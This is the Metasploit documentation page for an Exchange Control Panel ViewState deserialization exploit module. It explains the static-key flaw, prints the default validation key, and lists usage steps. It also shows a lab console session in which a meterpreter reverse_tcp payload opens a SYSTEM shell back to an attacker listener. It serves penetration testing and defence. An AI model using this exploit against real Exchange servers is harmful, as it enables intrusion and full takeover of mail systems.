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metasploit-framework/documentation/modules/exploit/windows/http/exchange_ecp_viewstate.md

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Vulnerable Application

This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these values, an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization.

The default ViewState validation key is: cb2721abdaf8e9dc516d621d8b8bf13a2c9e8689a25303bf.

This module requires the user to authenticate to Exchange. At a minimum the user must be a member of the Domain Users group and have a mailbox configured on the Exchange server.

The crafted ViewState must be submitted to the server in a GET request (POST requests will not work) which introduces a size restriction on the contents. Due to this, OS commands are limited to a length of approximately 450 which accounts for the overhead of the serialization data. The OS command must also be XML encoded which increases the size as well. The .NET deserialization used is the "TextFormattingRunProperties" chain from the ysoserial.net project.

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/windows/http/exchange_ecp_viewstate
  4. Set the RHOSTS, USERNAME and PASSWORD options
  5. Do: run
  6. You should get a shell.

Options

DOMAIN

The authentication realm for the corresponding USERNAME argument

USERNAME

Username to log in with

Password

Password to log in with

Scenarios

Exchange 2016 on Server 2012 x64

For example:

msf5 > use exploit/windows/http/exchange_ecp_viewstate
msf5 exploit(windows/http/exchange_ecp_viewstate) > set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
msf5 exploit(windows/http/exchange_ecp_viewstate) > set USERNAME msflab.local\\jdoe
USERNAME => msflab.local\jdoe
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PASSWORD Password1
PASSWORD => Password1
msf5 exploit(windows/http/exchange_ecp_viewstate) > set TARGET 1
TARGET => 1
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/http/exchange_ecp_viewstate) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf5 exploit(windows/http/exchange_ecp_viewstate) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
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[*] Sending stage (206403 bytes) to 192.168.159.129
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[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.129:17626) at 2020-03-02 10:40:52 -0500
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : EXCHANGE
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter >